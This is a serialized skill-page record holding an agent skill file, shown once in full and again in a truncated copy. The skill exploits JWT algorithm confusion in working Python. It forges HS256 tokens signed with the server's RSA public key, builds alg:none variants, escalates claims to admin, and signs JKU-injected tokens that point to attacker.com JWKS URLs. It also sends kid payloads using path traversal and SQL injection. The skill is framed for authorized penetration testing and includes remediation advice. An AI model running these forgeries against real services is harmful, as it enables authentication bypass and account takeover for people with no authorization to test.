[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AEPBBRXKWG7KTKHA5X49T6":3,"skill-same:01M6AEPBBRXKWG7KTKHA5X49T6":111},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":34,"publishedAt":51,"linkOnly":52,"markdownContent":53,"markdownBody":54,"frontMatter":55,"refName":70,"commitSha":71,"skillDirectory":72,"forksCount":73,"repositoryHtmlUrl":74,"repositoryHomepageUrl":75,"ownerHtmlUrl":76,"ownerBlogUrl":77,"ownerDescription":78,"updatedAt":79,"install":80,"resources":93},"01M6AEPBBRXKWG7KTKHA5X49T6","exploiting-jwt-algorithm-confusion-attack",null,"Exploits JWT algorithm confusion where the server's verification library trusts the alg named in the token header, by switching RS256 to HS256 (signing with the RSA public key as HMAC secret), setting alg to none, or injecting kid\u002Fjku\u002Fx5u headers to supply an attacker-controlled key. Use when testing RS256 JWT auth for algorithm downgrade, alg:none bypass, or key-confusion signature forgery.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",36146,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-jwt-algorithm-confusion-attack\u002FSKILL.md",[18,23,26,29],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":27,"categoryName":28,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",{"categoryNo":30,"categoryName":31,"taxonomyType":32,"taxonomyTypeDesc":33},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50],"exploiting jwt algorithm confusion attack","testing","security","cybersecurity","auth","pr","verification","library","server","api-security","t1055","t1059","jwt","algorithm-confusion","token-forgery","cryptographic-attack","2026-11-10 10:12:30",false,"---\nname: exploiting-jwt-algorithm-confusion-attack\ndescription: >-\n  Exploits JWT algorithm confusion where the server's verification library trusts\n  the alg named in the token header, by switching RS256 to HS256 (signing with the\n  RSA public key as HMAC secret), setting alg to none, or injecting kid\u002Fjku\u002Fx5u\n  headers to supply an attacker-controlled key. Use when testing RS256 JWT auth\n  for algorithm downgrade, alg:none bypass, or key-confusion signature forgery.\ndomain: cybersecurity\nsubdomain: api-security\ntags:\n- api-security\n- jwt\n- algorithm-confusion\n- token-forgery\n- cryptographic-attack\nversion: 1.0.0\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.PS-01\n- ID.RA-01\n- PR.DS-10\n- DE.CM-01\nmitre_attack:\n- T1190\n- T1059.007\n- T1552.001\n- T1055\n- T1059\n---\n# Exploiting JWT Algorithm Confusion Attack\n\n## When to Use\n\n- Testing APIs that use RS256 (asymmetric) JWT tokens for authentication to check for algorithm downgrade to HS256\n- Assessing JWT implementations for alg:none bypass where the server skips signature verification\n- Evaluating JWT libraries for key confusion vulnerabilities where the public key is used as HMAC secret\n- Testing kid (Key ID), jku (JWK Set URL), and x5u (X.509 URL) header parameters for injection\n- Validating that the API server enforces a specific algorithm and does not trust the JWT header\n\n**Do not use** without written authorization. JWT exploitation can lead to authentication bypass and account takeover.\n\n## Prerequisites\n\n- Written authorization specifying the target API and JWT-based authentication in scope\n- A valid JWT token from the target API (obtained through legitimate authentication)\n- The server's RSA public key (obtainable from JWKS endpoint, TLS certificate, or public key endpoint)\n- Python 3.10+ with `PyJWT`, `cryptography`, and `requests` libraries\n- jwt_tool for automated JWT attack testing\n- Burp Suite with JWT Editor extension\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1: JWT Token Analysis\n\n```python\nimport base64\nimport json\nimport requests\nimport hmac\nimport hashlib\nimport time\n\nBASE_URL = \"https:\u002F\u002Ftarget-api.example.com\u002Fapi\u002Fv1\"\n\n# Capture a valid JWT token\nlogin_resp = requests.post(f\"{BASE_URL}\u002Fauth\u002Flogin\",\n    json={\"email\": \"test@example.com\", \"password\": \"TestPass123!\"})\nvalid_token = login_resp.json().get(\"access_token\", \"\")\n\n# Decode JWT parts\ndef decode_jwt(token):\n    parts = token.split('.')\n    if len(parts) != 3:\n        raise ValueError(\"Invalid JWT format\")\n\n    def pad(s):\n        return s + '=' * (4 - len(s) % 4)\n\n    header = json.loads(base64.urlsafe_b64decode(pad(parts[0])))\n    payload = json.loads(base64.urlsafe_b64decode(pad(parts[1])))\n    return header, payload, parts[2]\n\nheader, payload, signature = decode_jwt(valid_token)\nprint(f\"Algorithm: {header.get('alg')}\")\nprint(f\"Key ID: {header.get('kid', 'none')}\")\nprint(f\"Type: {header.get('typ')}\")\nprint(f\"JKU: {header.get('jku', 'none')}\")\nprint(f\"\\nPayload: {json.dumps(payload, indent=2)}\")\nprint(f\"\\nExpires: {time.ctime(payload.get('exp', 0))}\")\n```\n\n### Step 2: Obtain the Public Key\n\n```python\nfrom cryptography.hazmat.primitives import serialization\nfrom cryptography.x509 import load_pem_x509_certificate\n\n# Method 1: JWKS endpoint\njwks_url = f\"{BASE_URL}\u002F.well-known\u002Fjwks.json\"\njwks_resp = requests.get(jwks_url)\nif jwks_resp.status_code == 200:\n    jwks = jwks_resp.json()\n    print(f\"JWKS keys found: {len(jwks.get('keys', []))}\")\n    for key in jwks['keys']:\n        print(f\"  kid: {key.get('kid')}, kty: {key.get('kty')}, alg: {key.get('alg')}\")\n\n    # Extract RSA public key from JWKS\n    from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers\n    from cryptography.hazmat.backends import default_backend\n\n    rsa_key = jwks['keys'][0]  # First key\n    n = int.from_bytes(base64.urlsafe_b64decode(rsa_key['n'] + '=='), 'big')\n    e = int.from_bytes(base64.urlsafe_b64decode(rsa_key['e'] + '=='), 'big')\n    public_key = RSAPublicNumbers(e, n).public_key(default_backend())\n    public_key_pem = public_key.public_bytes(\n        encoding=serialization.Encoding.PEM,\n        format=serialization.PublicFormat.SubjectPublicKeyInfo\n    )\n    print(f\"\\nPublic Key (PEM):\\n{public_key_pem.decode()}\")\n\n# Method 2: From well-known OpenID configuration\noidc_resp = requests.get(f\"{BASE_URL}\u002F.well-known\u002Fopenid-configuration\")\nif oidc_resp.status_code == 200:\n    jwks_uri = oidc_resp.json().get('jwks_uri')\n    print(f\"JWKS URI from OIDC config: {jwks_uri}\")\n\n# Method 3: Exposed at common paths\nfor path in [\"\u002Fpublic-key\", \"\u002Fapi\u002Fpublic-key\", \"\u002Foauth\u002Ftoken_key\", \"\u002F.well-known\u002Fjwks\"]:\n    resp = requests.get(f\"{BASE_URL}{path}\")\n    if resp.status_code == 200 and (\"BEGIN\" in resp.text or \"keys\" in resp.text):\n        print(f\"Public key found at: {path}\")\n```\n\n### Step 3: Algorithm Confusion Attack (RS256 to HS256)\n\n```python\ndef forge_hs256_with_public_key(token, public_key_pem, modifications=None):\n    \"\"\"\n    Algorithm confusion: Sign token with HS256 using the RSA public key as secret.\n    If the server uses a generic verify() that trusts the alg header, it will use\n    the public key as the HMAC secret, matching our signature.\n    \"\"\"\n    parts = token.split('.')\n    payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))\n\n    # Modify payload if requested\n    if modifications:\n        payload.update(modifications)\n\n    # Create header with HS256\n    new_header = {\"alg\": \"HS256\", \"typ\": \"JWT\"}\n\n    # Encode header and payload\n    header_b64 = base64.urlsafe_b64encode(\n        json.dumps(new_header).encode()).decode().rstrip('=')\n    payload_b64 = base64.urlsafe_b64encode(\n        json.dumps(payload).encode()).decode().rstrip('=')\n\n    # Sign with HMAC-SHA256 using the RSA public key as the secret\n    signing_input = f\"{header_b64}.{payload_b64}\".encode()\n\n    # Use the raw PEM bytes as the HMAC key\n    if isinstance(public_key_pem, str):\n        public_key_pem = public_key_pem.encode()\n\n    signature = hmac.new(public_key_pem, signing_input, hashlib.sha256).digest()\n    sig_b64 = base64.urlsafe_b64encode(signature).decode().rstrip('=')\n\n    return f\"{header_b64}.{payload_b64}.{sig_b64}\"\n\n# Attack 1: Algorithm confusion with same claims\nconfused_token = forge_hs256_with_public_key(valid_token, public_key_pem)\nresp = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\",\n    headers={\"Authorization\": f\"Bearer {confused_token}\"})\nprint(f\"Algorithm confusion (same claims): {resp.status_code}\")\nif resp.status_code == 200:\n    print(\"[CRITICAL] Algorithm confusion attack successful - RS256 to HS256\")\n\n# Attack 2: Algorithm confusion with elevated privileges\nadmin_token = forge_hs256_with_public_key(valid_token, public_key_pem,\n    modifications={\"role\": \"admin\", \"sub\": \"admin@example.com\"})\nresp = requests.get(f\"{BASE_URL}\u002Fadmin\u002Fusers\",\n    headers={\"Authorization\": f\"Bearer {admin_token}\"})\nprint(f\"Algorithm confusion (admin): {resp.status_code}\")\nif resp.status_code == 200:\n    print(\"[CRITICAL] Admin access via algorithm confusion + claim manipulation\")\n\n# Attack 3: Try different public key formats\nkey_formats = [\n    public_key_pem,                                    # Full PEM\n    public_key_pem.strip(),                            # Stripped whitespace\n    public_key_pem.replace(b'\\n', b''),               # No newlines\n    public_key_pem.decode().split('\\n')[1:-1],        # Base64 only\n]\n\nfor i, key_format in enumerate(key_formats):\n    if isinstance(key_format, list):\n        key_format = ''.join(key_format).encode()\n    elif isinstance(key_format, str):\n        key_format = key_format.encode()\n\n    token = forge_hs256_with_public_key(valid_token, key_format)\n    resp = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\",\n        headers={\"Authorization\": f\"Bearer {token}\"})\n    if resp.status_code == 200:\n        print(f\"[CRITICAL] Key format {i} worked for algorithm confusion\")\n```\n\n### Step 4: Algorithm None Attack\n\n```python\ndef forge_none_algorithm(token, modifications=None):\n    \"\"\"Create tokens with alg:none variations to bypass signature verification.\"\"\"\n    parts = token.split('.')\n    payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))\n\n    if modifications:\n        payload.update(modifications)\n\n    payload_b64 = base64.urlsafe_b64encode(\n        json.dumps(payload).encode()).decode().rstrip('=')\n\n    # Different \"none\" algorithm variations\n    none_variants = [\n        {\"alg\": \"none\", \"typ\": \"JWT\"},\n        {\"alg\": \"None\", \"typ\": \"JWT\"},\n        {\"alg\": \"NONE\", \"typ\": \"JWT\"},\n        {\"alg\": \"nOnE\", \"typ\": \"JWT\"},\n        {\"typ\": \"JWT\"},  # Missing alg entirely\n    ]\n\n    tokens = []\n    for variant_header in none_variants:\n        header_b64 = base64.urlsafe_b64encode(\n            json.dumps(variant_header).encode()).decode().rstrip('=')\n\n        # Different signature options\n        sig_options = [\n            \"\",                    # Empty signature\n            \".\",                   # Just a dot\n            parts[2],             # Original signature\n            base64.urlsafe_b64encode(b'\\x00').decode().rstrip('='),  # Null byte\n        ]\n\n        for sig in sig_options:\n            tokens.append(f\"{header_b64}.{payload_b64}.{sig}\")\n\n    return tokens\n\n# Test all none algorithm variations\nnone_tokens = forge_none_algorithm(valid_token)\nfor i, token in enumerate(none_tokens):\n    resp = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\",\n        headers={\"Authorization\": f\"Bearer {token}\"})\n    if resp.status_code == 200:\n        header = json.loads(base64.urlsafe_b64decode(token.split('.')[0] + '=='))\n        print(f\"[CRITICAL] alg:none bypass #{i}: header={header}, sig_len={len(token.split('.')[2])}\")\n\n# Test with privilege escalation\nadmin_none_tokens = forge_none_algorithm(valid_token,\n    modifications={\"role\": \"admin\", \"is_admin\": True})\nfor token in admin_none_tokens:\n    resp = requests.get(f\"{BASE_URL}\u002Fadmin\u002Fusers\",\n        headers={\"Authorization\": f\"Bearer {token}\"})\n    if resp.status_code == 200:\n        print(\"[CRITICAL] Admin access via alg:none bypass\")\n        break\n```\n\n### Step 5: JKU and KID Header Injection\n\n```python\nimport os\n\n# Attack: JKU (JWK Set URL) injection\n# Host attacker-controlled JWKS that contains our key pair\ndef generate_attacker_jwks():\n    \"\"\"Generate an RSA key pair and JWKS for the attacker's server.\"\"\"\n    from cryptography.hazmat.primitives.asymmetric import rsa\n    from cryptography.hazmat.backends import default_backend\n\n    # Generate attacker key pair\n    private_key = rsa.generate_private_key(\n        public_exponent=65537,\n        key_size=2048,\n        backend=default_backend()\n    )\n    public_key = private_key.public_key()\n    public_numbers = public_key.public_numbers()\n\n    n_b64 = base64.urlsafe_b64encode(\n        public_numbers.n.to_bytes(256, 'big')).decode().rstrip('=')\n    e_b64 = base64.urlsafe_b64encode(\n        public_numbers.e.to_bytes(3, 'big')).decode().rstrip('=')\n\n    jwks = {\n        \"keys\": [{\n            \"kty\": \"RSA\",\n            \"kid\": \"attacker-key-1\",\n            \"use\": \"sig\",\n            \"alg\": \"RS256\",\n            \"n\": n_b64,\n            \"e\": e_b64\n        }]\n    }\n\n    return private_key, jwks\n\nattacker_private_key, attacker_jwks = generate_attacker_jwks()\n\n# Create JWT with JKU pointing to attacker server\ndef forge_jku_token(payload_modifications, jku_url):\n    \"\"\"Create a JWT signed with attacker key, JKU pointing to attacker JWKS.\"\"\"\n    payload = json.loads(base64.urlsafe_b64decode(valid_token.split('.')[1] + '=='))\n    payload.update(payload_modifications)\n\n    header = {\n        \"alg\": \"RS256\",\n        \"typ\": \"JWT\",\n        \"kid\": \"attacker-key-1\",\n        \"jku\": jku_url  # Points to attacker-hosted JWKS\n    }\n\n    header_b64 = base64.urlsafe_b64encode(\n        json.dumps(header).encode()).decode().rstrip('=')\n    payload_b64 = base64.urlsafe_b64encode(\n        json.dumps(payload).encode()).decode().rstrip('=')\n\n    # Sign with attacker's private key\n    from cryptography.hazmat.primitives import hashes\n    from cryptography.hazmat.primitives.asymmetric import padding\n\n    signing_input = f\"{header_b64}.{payload_b64}\".encode()\n    signature = attacker_private_key.sign(\n        signing_input,\n        padding.PKCS1v15(),\n        hashes.SHA256()\n    )\n    sig_b64 = base64.urlsafe_b64encode(signature).decode().rstrip('=')\n\n    return f\"{header_b64}.{payload_b64}.{sig_b64}\"\n\n# Test JKU injection with various URLs\njku_urls = [\n    \"https:\u002F\u002Fattacker.com\u002F.well-known\u002Fjwks.json\",\n    \"https:\u002F\u002Fattacker.com\u002Fjwks\",\n    # Bypass URL filters\n    f\"{BASE_URL}@attacker.com\u002Fjwks\",\n    f\"{BASE_URL}\u002F.well-known\u002Fjwks.json#@attacker.com\",\n]\n\nfor jku in jku_urls:\n    token = forge_jku_token({\"role\": \"admin\"}, jku)\n    # Note: This test requires hosting the attacker JWKS at the specified URL\n    print(f\"  JKU injection payload generated for: {jku}\")\n\n# KID injection (SQL injection in kid parameter)\nkid_injection_payloads = [\n    \"..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fdev\u002Fnull\",              # Path traversal to empty file\n    \"..\u002F..\u002F..\u002F..\u002F..\u002F..\u002Fproc\u002Fsys\u002Fkernel\u002Fhostname\",\n    \"' UNION SELECT 'secret-key' -- \",         # SQL injection in kid lookup\n    \"' OR '1'='1\",\n    \"..\u002F..\u002F..\u002Fetc\u002Fpasswd\",\n    \"https:\u002F\u002Fattacker.com\u002Fkey.pem\",            # URL-based kid\n]\n\nfor kid in kid_injection_payloads:\n    modified_header = {\"alg\": \"HS256\", \"typ\": \"JWT\", \"kid\": kid}\n    header_b64 = base64.urlsafe_b64encode(\n        json.dumps(modified_header).encode()).decode().rstrip('=')\n    payload_b64 = valid_token.split('.')[1]\n\n    # Sign with the expected key material from the injection\n    signing_input = f\"{header_b64}.{payload_b64}\".encode()\n    # For path traversal to \u002Fdev\u002Fnull, the key would be empty\n    sig = hmac.new(b\"\", signing_input, hashlib.sha256).digest()\n    sig_b64 = base64.urlsafe_b64encode(sig).decode().rstrip('=')\n\n    token = f\"{header_b64}.{payload_b64}.{sig_b64}\"\n    resp = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\",\n        headers={\"Authorization\": f\"Bearer {token}\"})\n    if resp.status_code == 200:\n        print(f\"[CRITICAL] KID injection successful: {kid}\")\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **Algorithm Confusion** | Attack where the server trusts the alg header in the JWT, allowing an attacker to switch from RS256 to HS256 and sign with the public key as the HMAC secret |\n| **alg:none Attack** | Setting the JWT algorithm to \"none\" to bypass signature verification entirely, if the library does not enforce algorithm selection |\n| **JKU Injection** | Manipulating the jku (JWK Set URL) header to point to an attacker-controlled JWKS endpoint, allowing the attacker to supply their own signing keys |\n| **KID Injection** | Injecting SQL, path traversal, or URL payloads into the kid (Key ID) header parameter to manipulate key selection or read arbitrary files |\n| **Key Confusion** | Using the RSA public key as the HMAC secret when the server incorrectly switches from asymmetric to symmetric verification |\n| **JWKS (JSON Web Key Set)** | A JSON structure containing the public keys used by the server to verify JWT signatures, typically hosted at a well-known endpoint |\n\n## Tools & Systems\n\n- **jwt_tool**: Python-based JWT testing toolkit with 12+ attack modes including alg confusion, none bypass, and kid injection\n- **Burp Suite JWT Editor**: Extension for decoding, editing, and re-signing JWTs with algorithm manipulation capabilities\n- **hashcat (mode 16500)**: GPU-accelerated HMAC secret brute-forcing for HS256\u002FHS384\u002FHS512-signed JWTs\n- **John the Ripper**: CPU-based JWT secret cracking with wordlist and rule-based attacks\n- **jwt.io**: Online JWT decoder and debugger for quick token analysis\n\n## Common Scenarios\n\n### Scenario: Algorithm Confusion on Banking API\n\n**Context**: A banking API uses RS256-signed JWTs for authentication. The JWKS endpoint is publicly accessible. The API handles financial transactions requiring high assurance authentication.\n\n**Approach**:\n1. Obtain a valid JWT by authenticating as a regular user\n2. Extract the RSA public key from the JWKS endpoint at `\u002F.well-known\u002Fjwks.json`\n3. Create a new JWT with `\"alg\": \"HS256\"` header and sign it using the RSA public key as the HMAC secret\n4. Send the forged token to `GET \u002Fapi\u002Fv1\u002Fusers\u002Fme` - server accepts it (algorithm confusion confirmed)\n5. Modify the payload to set `\"role\": \"admin\"` and `\"sub\": \"admin@bank.com\"` - sign with the public key\n6. Access admin endpoints: `GET \u002Fapi\u002Fv1\u002Fadmin\u002Ftransactions` returns all transaction history\n7. Test alg:none: rejected by the server (partial mitigation)\n8. Test kid injection with SQL payload: kid parameter is used in a SQL query to look up keys, enabling SQL injection\n\n**Pitfalls**:\n- Using the wrong format of the public key as the HMAC secret (PEM with\u002Fwithout headers, DER, raw bytes)\n- Not trying multiple public key formats when the first one does not produce a valid signature\n- Assuming the alg:none defense means algorithm confusion is also mitigated\n- Not testing kid injection vectors when the kid parameter is present in the JWT header\n- Missing JKU\u002Fx5u header injection when the server fetches keys from URLs\n\n## Output Format\n\n```\n## Finding: JWT Algorithm Confusion Enables Authentication Bypass\n\n**ID**: API-JWT-001\n**Severity**: Critical (CVSS 9.8)\n**CVE Reference**: CVE-2024-54150 (related pattern)\n**Affected Component**: JWT authentication middleware\n\n**Description**:\nThe API's JWT verification library trusts the algorithm specified in\nthe JWT header rather than enforcing a fixed algorithm. An attacker can\nchange the algorithm from RS256 to HS256 and sign the token using the\nserver's RSA public key (available from the JWKS endpoint) as the HMAC\nsecret. The server then uses the same public key to verify the HMAC\nsignature, which succeeds, allowing the attacker to forge tokens for\nany user with any role.\n\n**Attack Chain**:\n1. Obtain public key: GET \u002F.well-known\u002Fjwks.json\n2. Create JWT: {\"alg\":\"HS256\",\"typ\":\"JWT\"}.{\"sub\":\"admin\",\"role\":\"admin\"}\n3. Sign with HMAC-SHA256 using RSA public key PEM as secret\n4. Access admin API: GET \u002Fapi\u002Fv1\u002Fadmin\u002Ftransactions -> 200 OK\n\n**Impact**:\nComplete authentication bypass. An attacker can forge tokens for any\nuser including administrators, accessing all financial transactions,\nuser data, and administrative functions.\n\n**Remediation**:\n1. Enforce the expected algorithm at the server configuration level: jwt.verify(token, key, algorithms=[\"RS256\"])\n2. Never trust the alg header from the JWT for algorithm selection\n3. Update the JWT library to the latest version with algorithm confusion protections\n4. Consider using EdDSA (Ed25519) which does not have symmetric\u002Fasymmetric confusion risk\n5. Implement token binding to prevent forged token acceptance\n```\n","# Exploiting JWT Algorithm Confusion Attack\n\n## When to Use\n\n- Testing APIs that use RS256 (asymmetric) JWT tokens for authentication to check for algorithm downgrade to HS256\n- Assessing JWT implementations for alg:none bypass where the server skips signature verification\n- Evaluating JWT libraries for key confusion vulnerabilities where the public key is used as HMAC secret\n- Testing kid (Key ID), jku (JWK Set URL), and x5u (X.509 URL) header parameters for injection\n- Validating that the API server enforces a specific algorithm and does not trust the JWT header\n\n**Do not use** without written authorization. JWT exploitation can lead to authentication bypass and account takeover.\n\n## Prerequisites\n\n- Written authorization specifying the target API and JWT-based authentication in scope\n- A valid JWT token from the target API (obtained through legitimate authentication)\n- The server's RSA public key (obtainable from JWKS endpoint, TLS certificate, or public key endpoint)\n- Python 3.10+ with `PyJWT`, `cryptography`, and `requests` libraries\n- jwt_tool for automated JWT attack testing\n- Burp Suite with JWT Editor extension\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1: JWT Token Analysis\n\n```python\nimport base64\nimport json\nimport requests\nimport hmac\nimport hashlib\nimport time\n\nBASE_URL = \"https:\u002F\u002Ftarget-api.example.com\u002Fapi\u002Fv1\"\n\n# Capture a valid JWT token\nlogin_resp = requests.post(f\"{BASE_URL}\u002Fauth\u002Flogin\",\n    json={\"email\": \"test@example.com\", \"password\": \"TestPass123!\"})\nvalid_token = login_resp.json().get(\"access_token\", \"\")\n\n# Decode JWT parts\ndef decode_jwt(token):\n    parts = token.split('.')\n    if len(parts) != 3:\n        raise ValueError(\"Invalid JWT format\")\n\n    def pad(s):\n        return s + '=' * (4 - len(s) % 4)\n\n    header = json.loads(base64.urlsafe_b64decode(pad(parts[0])))\n    payload = json.loads(base64.urlsafe_b64decode(pad(parts[1])))\n    return header, payload, parts[2]\n\nheader, payload, signature = decode_jwt(valid_token)\nprint(f\"Algorithm: {header.get('alg')}\")\nprint(f\"Key ID: {header.get('kid', 'none')}\")\nprint(f\"Type: {header.get('typ')}\")\nprint(f\"JKU: {header.get('jku', 'none')}\")\nprint(f\"\\nPayload: {json.dumps(payload, indent=2)}\")\nprint(f\"\\nExpires: {time.ctime(payload.get('exp', 0))}\")\n```\n\n### Step 2: Obtain the Public Key\n\n```python\nfrom cryptography.hazmat.primitives import serialization\nfrom cryptography.x509 import load_pem_x509_certificate\n\n# Method 1: JWKS endpoint\njwks_url = f\"{BASE_URL}\u002F.well-known\u002Fjwks.json\"\njwks_resp = requests.get(jwks_url)\nif jwks_resp.status_code == 200:\n    jwks = jwks_resp.json()\n    print(f\"JWKS keys found: {len(jwks.get('keys', []))}\")\n    for key in jwks['keys']:\n        print(f\"  kid: {key.get('kid')}, kty: {key.get('kty')}, alg: {key.get('alg')}\")\n\n    # Extract RSA public key from JWKS\n    from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers\n    from cryptography.hazmat.backends import default_backend\n\n    rsa_key = jwks['keys'][0]  # First key\n    n = int.from_bytes(base64.urlsafe_b64decode(rsa_key['n'] + '=='), 'big')\n    e = int.from_bytes(base64.urlsafe_b64decode(rsa_key['e'] + '=='), 'big')\n    public_key = RSAPublicNumbers(e, n).public_key(default_backend())\n    public_key_pem = public_key.public_bytes(\n        encoding=serialization.Encoding.PEM,\n        format=serialization.PublicFormat.SubjectPublicKeyInfo\n    )\n    print(f\"\\nPublic Key (PEM):\\n{public_key_pem.decode()}\")\n\n# Method 2: From well-known OpenID configuration\noidc_resp = requests.get(f\"{BASE_URL}\u002F.well-known\u002Fopenid-configuration\")\nif oidc_resp.status_code == 200:\n    jwks_uri = oidc_resp.json().get('jwks_uri')\n    print(f\"JWKS URI from OIDC config: {jwks_uri}\")\n\n# Method 3: Exposed at common paths\nfor path in [\"\u002Fpublic-key\", \"\u002Fapi\u002Fpublic-key\", \"\u002Foauth\u002Ftoken_key\", \"\u002F.well-known\u002Fjwks\"]:\n    resp = requests.get(f\"{BASE_URL}{path}\")\n    if resp.status_code == 200 and (\"BEGIN\" in resp.text or \"keys\" in resp.text):\n        print(f\"Public key found at: {path}\")\n```\n\n### Step 3: Algorithm Confusion Attack (RS256 to HS256)\n\n```python\ndef forge_hs256_with_public_key(token, public_key_pem, modifications=None):\n    \"\"\"\n    Algorithm confusion: Sign token with HS256 using the RSA public key as secret.\n    If the server uses a generic verify() that trusts the alg header, it will use\n    the public key as the HMAC secret, matching our signature.\n    \"\"\"\n    parts = token.split('.')\n    payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))\n\n    # Modify payload if requested\n    if modifications:\n        payload.update(modifications)\n\n    # Create header with HS256\n    new_header = {\"alg\": \"HS256\", \"typ\": \"JWT\"}\n\n    # Encode header and payload\n    header_b64 = base64.urlsafe_b64encode(\n        json.dumps(new_header).encode()).decode().rstrip('=')\n    payload_b64 = base64.urlsafe_b64encode(\n        json.dumps(payload).encode()).decode().rstrip('=')\n\n    # Sign with HMAC-SHA256 using the RSA public key as the secret\n    signing_input = f\"{header_b64}.{payload_b64}\".encode()\n\n    # Use the raw PEM bytes as the HMAC key\n    if isinstance(public_key_pem, str):\n        public_key_pem = public_key_pem.encode()\n\n    signature = hmac.new(public_key_pem, signing_input, hashlib.sha256).digest()\n    sig_b64 = base64.urlsafe_b64encode(signature).decode().rstrip('=')\n\n    return f\"{header_b64}.{payload_b64}.{sig_b64}\"\n\n# Attack 1: Algorithm confusion with same claims\nconfused_token = forge_hs256_with_public_key(valid_token, public_key_pem)\nresp = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\",\n    headers={\"Authorization\": f\"Bearer {confused_token}\"})\nprint(f\"Algorithm confusion (same claims): {resp.status_code}\")\nif resp.status_code == 200:\n    print(\"[CRITICAL] Algorithm confusion attack successful - RS256 to HS256\")\n\n# Attack 2: Algorithm confusion with elevated privileges\nadmin_token = forge_hs256_with_public_key(valid_token, public_key_pem,\n    modifications={\"role\": \"admin\", \"sub\": \"admin@example.com\"})\nresp = requests.get(f\"{BASE_URL}\u002Fadmin\u002Fusers\",\n    headers={\"Authorization\": f\"Bearer {admin_token}\"})\nprint(f\"Algorithm confusion (admin): {resp.status_code}\")\nif resp.status_code == 200:\n    print(\"[CRITICAL] Admin access via algorithm confusion + claim manipulation\")\n\n# Attack 3: Try different public key formats\nkey_formats = [\n    public_key_pem,                                    # Full PEM\n    public_key_pem.strip(),                            # Stripped whitespace\n    public_key_pem.replace(b'\\n', b''),               # No newlines\n    public_key_pem.decode().split('\\n')[1:-1],        # Base64 only\n]\n\nfor i, key_format in enumerate(key_formats):\n    if isinstance(key_format, list):\n        key_format = ''.join(key_format).encode()\n    elif isinstance(key_format, str):\n        key_format = key_format.encode()\n\n    token = forge_hs256_with_public_key(valid_token, key_format)\n    resp = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\",\n        headers={\"Authorization\": f\"Bearer {token}\"})\n    if resp.status_code == 200:\n        print(f\"[CRITICAL] Key format {i} worked for algorithm confusion\")\n```\n\n### Step 4: Algorithm None Attack\n\n```python\ndef forge_none_algorithm(token, modifications=None):\n    \"\"\"Create tokens with alg:none variations to bypass signature verification.\"\"\"\n    parts = token.split('.')\n    payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))\n\n    if modifications:\n        payload.update(modifications)\n\n    payload_b64 = base64.urlsafe_b64encode(\n        json.dumps(payload).encode()).decode().rstrip('=')\n\n    # Different \"none\" algorithm variations\n    none_variants = [\n        {\"alg\": \"none\", \"typ\": \"JWT\"},\n        {\"alg\": \"None\", \"typ\": \"JWT\"},\n        {\"alg\": \"NONE\", \"typ\": \"JWT\"},\n        {\"alg\": \"nOnE\", \"typ\": \"JWT\"},\n        {\"typ\": \"JWT\"},  # Missing alg entirely\n    ]\n\n    tokens = []\n    for variant_header in none_variants:\n        header_b64 = base64.urlsafe_b64encode(\n            json.dumps(variant_header).encode()).decode().rstrip('=')\n\n        # Different signature options\n        sig_options = [\n            \"\",                    # Empty signature\n            \".\",                   # Just a dot\n            parts[2],             # Original signature\n            base64.urlsafe_b64encode(b'\\x00').decode().rstrip('='),  # Null byte\n        ]\n\n        for sig in sig_options:\n            tokens.append(f\"{header_b64}.{payload_b64}.{sig}\")\n\n    return tokens\n\n# Test all none algorithm variations\nnone_tokens = forge_none_algorithm(valid_token)\nfor i, token in enumerate(none_tokens):\n    resp = requests.get(f\"{BASE_URL}\u002Fusers\u002Fme\",\n        headers={\"Authorization\": f\"Bearer {token}\"})\n    if resp.status_code == 200:\n        header = json.loads(base64.urlsafe_b64decode(token.split('.')[0] + '=='))\n        print(f\"[CRITICAL] alg:none bypass #{i}: header={header}, sig_len={len(token.split('.')[2])}\")\n\n# Test with privilege escalation\nadmin_none_tokens = forge_none_algorithm(valid_token,\n    modifications={\"role\": \"admin\", \"is_admin\": True})\nfor token in admin_none_tokens:\n    resp = requests.get(f\"{BASE_URL}\u002Fadmin\u002Fusers\",\n        headers={\"Authorization\": f\"Bearer {token}\"})\n    if resp.status_code == 200:\n        print(\"[CRITICAL] 